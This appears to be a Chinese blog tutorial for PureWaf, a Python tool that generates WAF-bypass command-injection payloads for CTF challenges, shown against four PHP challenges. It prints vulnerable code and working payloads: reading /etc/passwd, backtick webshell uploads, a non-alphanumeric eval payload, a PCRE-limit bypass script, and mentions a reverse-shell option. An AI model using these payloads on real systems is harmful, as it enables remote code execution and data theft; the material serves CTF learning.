从几道CTF例题来看如何使用PureWaf?
项目地址:PureStream108/PureWaf: 旨在解决CTF中遇到的命令Waf

该项目仅用于教育和学习环节(比如说CTF),不得应用于其他任何恶意目的。
如果该项目出现任何错误或您有任何建议,欢迎在 issues 中提出。
如果对您有用的话欢迎点个star!
快速开始
pip install PureWaf
from PureWaf import purewaf
print(purewaf(waf_regex="/[A-Za-z0-9]/"))
一些小开关
waf_words
接收被过滤的字符串,格式为: waf|star|system,以 | 作为分割。
waf_chars
接收被过滤的字符,格式为:#$%!,不用分割。
waf_regex
接收正则表达式,格式为: /flag|waf|system|\\|(|)/,适用于字符串和字符混合的 waf,用 /../ 包裹。
limit_length
默认为 999999 ,题目没有限制的情况下不用填写。
flagfile
题目Flag的文件命,默认为 /flag,正常情况下不用更改。
read_env
默认为 False(关闭),开启后就会输出读取环境变量的 payload,以应对 FLAG 放在环境变量的情况。
reflect_shell & port & ip
反弹shell功能开关,默认为 False(关闭),开启后输入 port 和 ip 两个参数就会自动输出反弹shell的 payload。
phpinfo
默认为 False(关闭),开启后会输出能读取 phpinfo 相关的 payload,建议配合 phpv 使用。
log_level
日志查看功能,默认为 “INFO”,也可以设置为 “DEBUG” 和 “QUIET”,对应不同等级的提示。
total_payload
默认为 False(关闭),开启后会输出全部 pass 的 payload(默认只输出)。
phpv
php版本,默认为7.0,针对不同php版本的题目环境,你可以自行设置 phpv,以便 PureWaf 将已经不适用的 payload 给剔除。
upload
默认为 False(关闭),开启后会生成由 <?php 等包裹后的 payload,适用于部分上传文件场景,可结合 phpv 使用
一些例题
CISCN 2024 simple_php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);
if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}
show_source(__FILE__);
?>
直接提取题中Waf:
/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/
然后直接输入到PureWaf中:(这里的需要增加 r,不然 \* 会报 SyntaxWarning )
import PureWaf
w = PureWaf.purewaf( waf_regex=r"/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i",
flagfile="/etc/passwd"
)
print(w)
# [+] Shortest Root Payload : diff / /tmp
# [+] Shortest Flag Payload : rev /etc/passwd
[红明谷CTF 2021]write_shell
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}
function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>
依旧是:
import PureWaf
w = PureWaf.purewaf(
waf_regex=r"/'| |_|php|;|~|\\^|\\+|eval|{|}/i",
upload=True
)
print(w)
但是这次增加一个 upload 的参数,用于适配上传环境的 payload
结果如下:
[*] Generating payloads for Root Directory...
[========================] 960/960 passed:336
[*] Generating payloads for Flag File...
[========================] 5067/5067 passed:812
----------------------------------------
[+] Shortest Root Payload : <?=`ls</`?>
[+] Shortest Flag Payload : <?=`nl</flag`?>
----------------------------------------
MoeCTF2025 这是…Webshell?
<?php
highlight_file(__FILE__);
if(isset($_GET['shell'])) {
$shell = $_GET['shell'];
if(!preg_match('/[A-Za-z0-9]/is', $_GET['shell'])) {
eval($shell);
} else {
echo "Hacker!";
}
}
?>
直接将 Waf 输入
----------------------------------------
[+] Shortest Root Payload : N/A
[+] Shortest Flag Payload : $__=('>'>'<')+('>'>'<');$_=$__/$__;$____='';$___=眰;$____.=~($___[$_]);$___=和;$____.=~($___[$__]);$___=和;$____.=~($___[$__]);$___=的;$____.=~($___[$_]);$___=半;$____.=~($___[$_]);$___=始;$____.=~($___[$__]);$_____='_';$___=俯;$_____.=~($___[$__]);$___=眰;$_____.=~($___[$__]);$___=次;$_____.=~($___[$_]);$___=站;$_____.=~($___[$_]);$_=$$_____;$____($_[$__]);
----------------------------------------
TIPS: POST: 2=system('id');
会生成一个 TIPS,以提示 payload 后续该如何使用(不过记得自增类型的需要URL编码后使用)
middlerce | NSSCTF
[NISACTF 2022]middlerce | NSSCTF
<?php
include "check.php";
if (isset($_REQUEST['letter'])){
$txw4ever = $_REQUEST['letter'];
if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
die("再加把油喔");
}
else{
$command = json_decode($txw4ever,true)['cmd'];
checkdata($command);
@eval($command);
}
}
else{
highlight_file(__FILE__);
}
?>
直接将 Waf 套入 PureWaf:
import PureWaf
w = PureWaf.purewaf(
waf_regex=r"/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m",
)
print(w)
虽然最后输出N/A,但不同的是,会生成 Example 以提示可以利用的方法:
----------------------------------------
[+] Shortest Root Payload : N/A
[+] Shortest Flag Payload : N/A
----------------------------------------
Example:
import requests
url = ""
payload = '{"cmd":"?><?=`sort /f*`?>","+":"' + "-" * 1000000 + '"}'
res = requests.post(url=url, data={"letter": payload})
print(res.text)
N/A
欢迎 Contribute!
欢迎在 issues 中提供 PureWaf 无法解出的题目并附带对应的wp!
供题者的 ID 将会出现在下一版本的 release中!
PS
虽然现在只停留在一些基础题目上,然后近几年的相关的题目也比较少,但未来将会适配更多题型和增加更多bypass方法!
1127

被折叠的 条评论
为什么被折叠?



